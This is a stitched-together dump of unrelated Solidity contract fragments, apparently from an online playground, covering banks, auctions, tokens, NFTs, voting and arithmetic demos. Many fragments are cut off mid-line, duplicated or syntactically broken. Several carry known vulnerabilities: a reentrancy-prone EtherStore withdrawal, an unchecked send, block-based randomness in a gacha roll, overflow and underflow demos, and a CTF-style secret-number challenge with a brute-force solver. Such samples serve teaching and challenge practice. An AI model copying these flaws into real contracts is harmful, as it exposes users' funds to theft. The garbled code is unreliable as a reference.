function balance() public view returns (uint) {
return balances[msg.sender];
}
function depositsBalance() public view returns (uint) {
return address(this).balance;
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
contract SimpleBank {
mapping (address => uint) private balances;
address public owner;
constructor() payable {
owner = msg.sender;
}
function deposit() public payable returns (uint) {
balances[msg.sender] += msg.value;
return balances[msg.sender];
}
function withdraw(uint withdrawAmount) public returns (uint remainingBal) {
if (withdrawAmount <= balances[msg.sender]) {
balances[msg.sender] -= withdrawAmount;
if(payable(msg.sender).send(withdrawAmount)) {
return balances[msg.sender];
}
}
return balances[msg.sender];
}
function balance() public view returns (uint) {
return balances[msg.sender];
}
function depositsBalance() public view returns (uint) {
return address(this).balance;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract ArgContract {
function getAddress(address addr1, address addr2, address addr3, address addr4, address addr5, address addr6, address addr7, address addr8) public pure returns(address){
return address(uint160(uint256(keccak256(abi.encodePacked(addr1,addr2,addr3,addr4,addr5,addr6,addr7,addr8)))));
}
}
pragma solidity ^0.4.25;
contract ArgContract {
function getAddress(address addr1, address addr2, address addr3) public pure returns(address){
return address(keccak256(abi.encodePacked(addr1, addr2, addr3)));
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract token{
address owner;
mapping (address=>uint) balances;
function transfer(address to,uint amount)public {
require(balances[msg.sender]>=amount);
balances[msg.sender] -= amount;
balances[to] += amount;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IUniswapV2Router02 {
function WETH() external pure returns (address);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract SampleSell {
IUniswapV2Router02 public uniswapRouter;
mapping(address => uint256) public ethBalance;
address private uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor() {
uniswapRouter = IUniswapV2Router02(uniswap);
}
function sellTokens(address tokenToSend,uint256 tokenAmount) external payable {
require(IERC20(tokenToSend).transferFrom(msg.sender, address(this), tokenAmount), "Insufficient funds");
require(IERC20(tokenToSend).app
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
contract SimpleAuction {
address payable public beneficiary;
uint256 public auctionEndTime;
address public highestBidder;
uint256 public highestBid;
mapping(address => uint256) pendingReturns;
bool ended;
event HighestBidIncreased(address bidder, uint256 amount);
event AuctionEnded(address winner, uint256 amount);
error AuctionAlreadyEnded();
error BidNotHighEnough(uint256 highestBid);
error AuctionNotYetEnded();
error AuctionEndAlreadyCalled();
constructor(uint256 biddingTime, address payable beneficiaryAddress) {
beneficiary = beneficiaryAddress;
auctionEndTime = block.timestamp + biddingTime;
}
function bid() external payable {
if (block.timestamp > auctionEndTime) revert AuctionAlreadyEnded();
if (msg.value <= highestBid) revert BidNotHighEnough(highestBid);
if (highestBid != 0) {
pendingReturns[highestBidder] += highestBid;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
contract SimpleAuction {
address payable public beneficiary;
uint public auctionEndTime;
address public highestBidder;
uint public highestBid;
mapping(address => uint) pendingReturns;
bool ended;
event HighestBidIncreased(address bidder, uint amount);
event AuctionEnded(address winner, uint amount);
error AuctionAlreadyEnded();
error BidNotHighEnough(uint highestBid);
error AuctionNotYetEnded();
error AuctionEndAlreadyCalled();
constructor(
uint biddingTime,
address payable beneficiaryAddress
) {
beneficiary = beneficiaryAddress;
auctionEndTime = block.timestamp + biddingTime;
}
function bid() external payable {
if (block.timestamp > auctionEndTime)
revert AuctionAlreadyEnded();
if (msg.value <= highestBid)
revert BidNotHighEnough(highestBid);
if (highestBid != 0) {
pendingReturns[highestBidder]
pragma solidity ^0.8.7;
// SPDX-License-Identifier: MIT
contract MoneyCollector {
address public owner;
uint256 public balance;
constructor() {
owner = msg.sender;
}
receive() payable external {
balance += msg.value;
}
function withdraw(uint amount, address payable destAddr) public {
require(msg.sender == owner, "Only owner can withdraw");
require(amount <= balance, "Insufficient funds");
destAddr.transfer(amount);
balance -= amount;
}
}
pragma solidity ^0.8.7;
// SPDX-License-Identifier: MIT
contract MoneyCollector {
address public owner;
uint256 public balance;
constructor() {
owner = msg.sender;
}
receive() payable external {
balance += msg.value;
}
function withdraw(uint amount, address payable destAddr) public {
require(msg.sender == owner, "Only owner can withdraw");
require(amount <= balance, "Insufficient funds");
destAddr.transfer(amount); // send funds to given address
balance -= amount;
}
}
pragma solidity ^0.8.7;
// SPDX-License-Identifier: MIT
contract MoneyCollector { //
address public owner;
uint256 public balance;
constructor() {
owner = msg.sender; // store information who deployed contract
}
receive() payable external {
balance += msg.value; // keep track of balance (in WEI)
}
function withdraw(uint amount, address payable destAddr) public {
require(msg.sender == owner, "Only owner can withdraw");
require(amount <= balance, "Insufficient funds");
destAddr.transfer(amount); // send funds to given address
balance -= amount;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
contract Ballot {
struct Voter {
string name;
bool voted;
uint256 aadarId;
}
struct Delegate {
uint256 id;
string name;
uint256 voteCount;
}
address public admin;
mapping(address => Voter) public voters;
mapping(address => Delegate) public delegate;
mapping(uint=>address) public delegateId;
mapping(uint=>address) public voterAadarId;
modifier onlyAdmin() {
require(msg.sender == admin, "Only admin can call");
_;
}
constructor() {
admin = msg.sender;
}
function addDelegate(
address _delegate,
uint256 _id,
string memory _name
) external onlyAdmin {
require(_delegate != address(0), "Delegate address cannot be 0");
require(_id != 0, "Delegate id cannot be 0");
require(delegateId[_id] == address(0), "Delegate id already exists");
delegate[_delegate] = Deleg
// Thi is Just Demo for Full Working Project Code ( [email protected] )
// how to create a contract
// Basic solidity coding
pragma solidity^0.4.0;
contract StorageBasic {
uint storedValue;
function set(uint var) {
storedValue=var;
}
function get() constant returns (uint) {
return storedValue;
}
}
pragma solidity ^0.4.21;
contract GuessTheSecretNumberChallenge {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function GuessTheSecretNumberChallenge() public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function guess(uint8 n) public payable {
require(msg.value == 1 ether);
if (keccak256(n) == answerHash) {
msg.sender.transfer(2 ether);
}
}
}
contract GuessTheSecretNumberSolver {
bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;
function guess() public view returns(uint8) {
for (uint8 i = 0; i < 2 ** 8; i++) {
if (keccak256(i) == answerHash) {
break;
}
}
return i;
}
function keccak256Uint(uint n) public pure returns(bytes32) {
return keccak256(n);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract minting{
uint dnaDigits = 16;
uint dnaModulus = 10 ** dnaDigits;
struct Robot{
string name;
uint32 dna;
uint level;
}
Robot public robots;
function mint(string memory name, uint32 dna) private {
}
function generateDna(string memory _str) private view returns (uint) {
uint rand = keccak256(abi.encodePacked(_str));
return rand % dnaModulus;
}
}
contract breeding{
function breedTwoNFTS(uint _dna1, uint _dna2, uint breedingTime) internal returns (uint){
bool breedingStatus = (breedingTime <=now);
uint childDna;
if(breedingSatus){
childDna = (_dna1 + _dna2)/2;
}
returns childDna;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract minting{
uint dnaDigits = 16;
uint dnaModulus = 10 ** dnaDigits;
struct Robot{
string name;
uint32 dna;
uint level;
}
Robot public robots;
function mint(string memory name, uint32 dna) private {
}
function generateDna(){
}
}
contract breeding is minting{
function breedTwoNFTS(uint _dna1, uint _dna2, uint breedingTime) internal returns (uint){
bool breedingStatus = (breedingTime <=now);
uint childDna;
if(breedingSatus){
childDna = (_dna1 + _dna2)/2;
}
returns childDna;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract breeding{
function breedTwoNFTS(uint _dna1, uint _dna2, uint breedingTime) internal returns (uint){
bool breedingStatus = (breedingTime <=now);
uint childDna;
if(breedingSatus){
childDna = (_dna1 + _dna2)/2;
}
returns childDna;
}
// contracts/GLDToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0 ;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
contract PizanicToken is ERC20 {
constructor(uint256 initialSupply) ERC20("Pizanic", "PZNC") {
_mint(msg.sender, initialSupply);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint[] _value) public {
value = _value[0];
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.8.10;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
u
// SPDX-License-Identifier: UNLICENSED
/**
*Submitted for verification at BscScan.com on {{to be annouced}}
*/
/*
*
UA Faith Token (Website: https://uafatoken.org/)
Initial Supply: 100 000 000 000 000 000 000 000 Tokens
Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%
https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken
UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/
pragma solidity 0.6.12;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowan
/*
'########:'##::::'##:'########::::
... ##..:: ##:::: ##: ##.....:::::
::: ##:::: ##:::: ##: ##::::::::::
::: ##:::: #########: ######::::::
::: ##:::: ##.... ##: ##...:::::::
::: ##:::: ##:::: ##: ##::::::::::
::: ##:::: ##:::: ##: ########::::
:::..:::::..:::::..::........:::::
'##::::'##:'########:'########:::'######::'##::::'##:'########::'####::::'###::::'##::: ##:
###::'###: ##.....:: ##.... ##:'##... ##: ##:::: ##: ##.... ##:. ##::::'## ##::: ###:: ##:
####'####: ##::::::: ##:::: ##: ##:::..:: ##:::: ##: ##:::: ##:: ##:::'##:. ##:: ####: ##:
## ### ##: ######::: ########:: ##::::::: ##:::: ##: ########::: ##::'##:::. ##: ## ## ##:
##. #: ##: ##...:::: ##.. ##::: ##::::::: ##:::: ##: ##.. ##:::: ##:: #########: ##. ####:
##:.:: ##: ##::::::: ##::. ##:: ##::: ##: ##:::: ##: ##::. ##::: ##:: ##.... ##: ##:. ###:
##:::: ##: ########: ##:::. ##:. ######::. #######:: ##:::. ##:'####: ##:::: ##: ##::. ##:
..:::::..::........::..:::::..:::......::::.......:::..:::::..::....::..:::::..::..::::..::
'###
// SPDX-License-Identifier: UNLICENSED
/**
*Submitted for verification at BscScan.com on {{to be annouced}}
*/
/*
*
UA Faith Token (Website: https://uafatoken.org/)
Initial Supply: 100 000 000 000 000 000 000 000 Tokens
Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%
https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken
UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowa
// SPDX-License-Identifier: UNLICENSED
/**
*Submitted for verification at BscScan.com on {{to be annouced}}
*/
/*
*
UA Faith Token (Website: https://uafatoken.org/)
Initial Supply: 100 000 000 000 000 000 000 000 Tokens
Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%
https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken
UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowa
// SPDX-License-Identifier: UNLICENSED
/**
*Submitted for verification at BscScan.com on {{to be annouced}}
*/
/*
*
UA Faith Token (Website: https://uafatoken.org/)
Initial Supply: 100 000 000 000 000 000 000 000 Tokens
Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%
https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken
UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowa
// SPDX-License-Identifier: UNLICENSED
/**
*Submitted for verification at BscScan.com on {{to be annouced}}
*/
/*
*
UA Faith Token (Website: https://uafatoken.org/)
Initial Supply: 100 000 000 000 000 000 000 000 Tokens
Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%
https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://flow.code/uafatoken
UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address
// SPDX-License-Identifier: UNLICENSED
/**
*Submitted for verification at BscScan.com on {{to be annouced}}
*/
/*
*
UA Faith Token (Website: https://uafatoken.org/)
Initial Supply: 100 000 000 000 000 000 000 000 tokens
Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%
https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://flow.code/uafatoken
UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address
// SPDX-License-Identifier: UNLICENSED
/**
*Submitted for verification at BscScan.com on {{to be annouced}}
*/
/*
*
UA Faith Token (Website: https://uafatoken.org/)
Initial Supply: 100 000 000 000 000 000 000 000 tokens
Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%
https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://flow.code/uafatoken
UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/
pragma solidity 0.5.16;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// Import the OZ 1155 standard and ownable contract
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// Initialize our contract
contract MySuperSecure1155 is ERC1155, Ownable {
uint public totalMinted;
string public name;
string public symbol;
uint256 public total;
uint256 public cost;
uint256 public _feeAmount;
bool public paused = false;
bool public whitelistedBuyersOnly = true;
uint public constant maxSupply = 1111;
address public whitelist = [];
mapping(address => bool) public whitelisted;
mapping (uint => uint) private tokenMintCounts;
mapping (uint256 => string) private _uris;
bool internal locked;
constructor() ERC1155("{{myIPFSLINK}}/{id}.json") {
name = "MySuperSecureNFT";
symbol = "MSSN";
setWhitelistedAddresses(whitelist);
// Set resale fee amount
_feeAmo
pragma solidity 0.4.18;
library SafeMath {
function sub(uint8 a, uint8 b) internal pure returns (uint8) {
assert(b <= a);
return a - b;
}
function add(uint8 a, uint8 b) internal pure returns (uint8) {
uint8 c = a + b;
assert(c >= a);
return c;
}
}
contract TestSafeMath {
using SafeMath for uint8;
function safeAdd(uint8 num) public pure returns (uint8) {
uint8 result = 255;
return result.add(num);
}
function safeSub(uint8 num) public pure returns (uint8) {
uint8 result = 0;
return result.sub(num);
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >0.4.23 <0.6.0;
contract BlindAuction {
struct Bid {
bytes32 blindedBid;
uint deposit;
}
address payable public beneficiary;
uint public biddingEnd;
uint public revealEnd;
bool public ended;
mapping(address => Bid[]) public bids;
address public highestBidder;
uint public highestBid;
// Allowed withdrawals of previous bids
mapping(address => uint) pendingReturns;
event AuctionEnded(address winner, uint highestBid);
/// Modifiers are a convenient way to validate inputs to
/// functions. `onlyBefore` is applied to `bid` below:
/// The new function body is the modifier's body where
/// `_` is replaced by the old function body.
modifier onlyBefore(uint _time) { require(now < _time); _; }
modifier onlyAfter(uint _time) { require(now > _time); _; }
constructor(
uint _biddingTime,
uint _revealTime,
address payable _beneficiary
) public {
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.1;
import "openzeppelin-solidity/contracts/utils/Counters.sol";
import "openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-solidity/contracts/security/ReentrancyGuard.sol";
// TODO pay with ERC20 token
// https://ethereum.org/en/developers/tutorials/transfers-and-approval-of-erc-20-tokens-from-a-solidity-smart-contract/
// TODO fiat integration
// TODO cancel auction?
contract BiddingMarketPlace is ReentrancyGuard {
using Counters for Counters.Counter;
Counters.Counter private _itemIds;
Counters.Counter private _itemsSold;
address payable public marketOwner;
constructor() {
marketOwner = payable(msg.sender);
}
struct MarketItem {
uint256 itemId;
address nftContract;
uint256 tokenId;
address payable seller;
address payable owner;
uint256 askingPrice;
uint256 aucti
function roll() external {
gachaTicket.transferFrom(msg.sender, address(this), gachaCost);
uint256 rand = _random();
uint256 stars;
if(rand < 1) { stars = 5; } // 5* at 1%
else if(rand < 5) { stars = 4; } // 4* at 4%
else if(rand < 15) { stars = 3; } // 3* at 10%
else if(rand < 50) { stars = 2; } // 2* at 35%
else { stars = 1; } // 1* at 50%
gachaCapsule.mint(msg.sender, stars);
}
function _random() internal returns (uint256) {
return uint256(keccak256(abi.encodePacked(block.timestamp, block.number, msg.sender, gachaCapsule.totalSupply()))) % 100;
// SPDX-License-Identifier: MIT
// Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24; // declaring which Solidity compiler we want to use
// pragma solidity >=0.4.0 <0.7.0;
contract Playground {
uint storedData;
function set(uint x) external {
storedData = x;
}
function get() public view returns (uint) {
return storedData;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint256[] nums = [0, 1, 2, 3];
uint256 length = array.length;
for (uint256 i=0; i < length; ++i) {
console.log(nums[i]);
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
contract IERC721 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@chainlink/contracts/src/v0.8/ChainlinkClient.sol";
import "@chainlink/contracts/src/v0.8/ConfirmedOwner.sol";
contract OFCaller is ChainlinkClient, ConfirmedOwner {
using Chainlink for Chainlink.Request;
uint256 constant private ORACLE_PAYMENT = 1 * LINK_DIVISIBILITY;
string public lastResponse;
string public jobId;
address public oracle;
event StartedExecution();
event FinishedExecution(
bytes32 indexed requestId,
string indexed response
);
constructor(address _link, address _oracle, string memory _jobId) ConfirmedOwner(msg.sender){
setChainlinkToken(_link);
oracle = _oracle;
jobId = _jobId;
}
function invokeApp(string memory url, string memory data)
public
onlyOwner
{
emit StartedExecution();
Chainlink.Request memory req = buildOperatorRequest(stringToBytes32(jobId), this.fulfillInvokeApp.selector);
req.add("id", "0");
req.add("url", url);
req.add("data", data);
sendOperatorRequestTo(oracle, req, 0);
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0 <0.7.0;
contract SimpleStorage {
uint storedData;
function set(uint x) public {
storedData = x;
}
function get() public view returns (uint) {
return storedData;
}
}
//—------------------------------------------
pragma solidity >=0.8.9 <0.8.0;
contract NewWorld {
function New() pure public returns(string memory) {
return NewWorld;
}
}
contract NewWorld {
string public data;
function set(string memory_data) public {
}
function get () view public returns (string memory) {
return data ;
}
}
//====================================
contract NewWorld {
uint [] public ids;
function add (uint id) public {
ids.push(id);
}
function get (uint position) view public returns (uint) {
return ids[position];
}
function getAll () view public returns (uint[] memory){
return ids;
}
function length () view public returns (uint) {
return ids.length;
}
}
contract
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0 <0.7.0;
contract SimpleStorage {
uint storedData;
function set(uint x) public {
storedData = x;
}
function get() public view returns (uint) {
return storedData;
}
}
//—------------------------------------------
pragma solidity >=0.8.9 <0.8.0;
contract NewWorld {
function New() pure public returns(string memory) {
return NewWorld;
}
}
contract NewWorld {
string public data;
function set(string memory_data) public {
}
function get () view public returns (string memory) {
return data ;
}
}
//====================================
contract NewWorld {
uint [] public ids;
function add (uint id) public {
ids.push(id);
}
function get (uint position) view public returns (uint) {
return ids[position];
}
function getAll () view public returns (uint[] memory){
return ids;
}
function length () view public returns (uint) {
return ids.length;
}
}
contract
pragma solidity >=0.4.22 <0.7.0;
pragma experimental ABIEncoderV2;
import "./Time.sol";
import "./Provable.sol";
contract Quadratic is usingProvable{
string public contractType = 'quadratic-voting';
struct Voter{
bool registered;
uint tokensLeft;
uint[] votes;
}
struct Proposal{
string name;
string description;
uint voteCount;
}
event proposalAdded(
Proposal proposal
);
event voterRegistered(
address voterAddress
);
event voted(
address voterAddress
);
event LogQueryResult(string price);
event LogNewProvableQuery(string description);
uint public registrationStartTimeStamp;
uint public registrationEndTimeStamp;
uint public votingStartTimeStamp;
uint public votingEndTimeStamp;
address public chairPerson;
mapping(address => Voter) public voters;
Proposal[] public proposals;
uint public tokensAllowed;
c
pragma solidity >=0.4.22 <0.7.0;
pragma experimental ABIEncoderV2;
import "./Time.sol";
import "./Provable.sol";
contract Quadratic is usingProvable{
string public contractType = 'quadratic-voting';
struct Voter{
bool registered;
uint tokensLeft;
uint[] votes;
}
struct Proposal{
string name;
string description;
uint voteCount;
}
event proposalAdded(
Proposal proposal
);
event voterRegistered(
address voterAddress
);
event voted(
address voterAddress
);
event LogQueryResult(string price);
event LogNewProvableQuery(string description);
uint public registrationStartTimeStamp;
uint public registrationEndTimeStamp;
uint public votingStartTimeStamp;
uint public votingEndTimeStamp;
address public chairPerson;
mapping(address => Voter) public voters;
Proposal[] public proposals;
uint public tokensAllowed;
c
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.21;
contract SimpleStore {
struct slice {
uint _len;
uint _ptr;
}
function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
if (self._len < needle._len) {
return false;
}
if (self._ptr == needle._ptr) {
return true;
}
bool equal;
assembly {
let length := mload(needle)
let selfptr := mload(add(self, 0x20))
let needleptr := mload(add(needle, 0x20))
equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
}
return equal;
}
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function testStartsWith(string memory needle, string memory haystick) public pure returns (bool) {
slice memory
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
// addition, subtraction, multiplication and division
contract Math {
// address public owner;
// constructor() {
// owner = msg.sender;
// }
function add(int a, int b) public pure returns(int) {
return a + b;
}
function sub(int a, int b) public pure returns(int) {
return a - b;
}
function mul(int a, int b) public pure returns(int) {
return a * b;
}
function div(int a, int b) public pure returns(int) {
return a / b;
}
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() external payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
pragma solidity ^0.8.7;
contract ChicknCoin {
uint256 public tokenPrice = 0.0 ether;
string public tokenBaseURI = "ipfs://QmUQp1gup2GU9WLsNCMzgTM2sDBUgBNtREcvz8GcTbrhqa/";
uint256 public constant PRESOLD_TOKENS_AMOUNT = 14;
uint256 public constant TOTAL_TOKENS = 842;
uint256 public nextTokenId = PRESOLD_TOKENS_AMOUNT + 1;
constructor(){}
function setTokenPrice(uint256 val) external {
tokenPrice = val;
}
function distribute(uint256 [] calldata ids) external payable{
uint256 perTransfer = msg.value;
uint256 numberOfTransfers = 0;
for(uint256 i = 0; i < ids.length; i++) {
if(true) {
numberOfTransfers ++;
}
}
require(numberOfTransfers != 0, "Nobody owns the tokens");
perTransfer = perTransfer / numberOfTransfers;
for(uint256 i = 0; i < ids.length; i++) {
if(true) {
perTransfer = 0;
}
}
}
function getDistributi
pragma solidity 0.8.0;
contract Game {
uint128 private score;
bool private isFinished;
uint128 private hscore;
uint96 private FEES = 1 ether;
struct Player {
address player;
uint128 score;
}
Player[] public players;
function play(address _p) public payable returns(uint128){
require(msg.value > FEES);
for(uint8 i = 0; i < players.length; ++i) {
Player memory p = players[i];
if(p.player == _p) {
p.score = p.score + 1;
if (p.score > hscore) {
hscore = p.score;
}
}
}
return hscore;
}
function getPlayer(uint256 index) internal view returns(Player memory pl) {
pl = players[index];
}
function endGame(uint256 index) payable public {
Player memory p = players[index];
require(p.score >= hscore);
address payable receiver = payable(address(msg.sender));
(bool success,)
pragma solidity 0.4.18;
// Contract to test unsigned integer underflows and overflows
// note: uint in solidity is an alias for uint256
// 1.Overflow Sample Test
// 1) Overflow_contract Deploy
// 2) max call -> 2**256-1
// 3) overflow() call -> overflow excute
// 4) max call -> 0
// 2. Underflow Sample Test
//. 1) Underflow_contract Deploy
// 2) zero call -> 0
// 3) underflow() call -> overflow excute
// 4) zero call -> 2**256-1
// 3. OBO Sample Test
//. 1) OffByOne_contract Deploy
// 2) getArr call -> [1, 1, 1, 1, 1]
// 3) offbyone call -> overflow excute
// 4) getArr call -> [0, 1, 2, 3, 4]
contract Overflow_contract {
uint public max = 2**256-1;
// max will end up at 0
function overflow() public {
max += 1;
}
}
contract Underflow_contract {
uint public zero = 0;
// zero will end up at 2**256-1
function underflow() public {
zero -= 1;
}
}
contract OffByOne_contract {
uint[] public arr = [1, 1
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
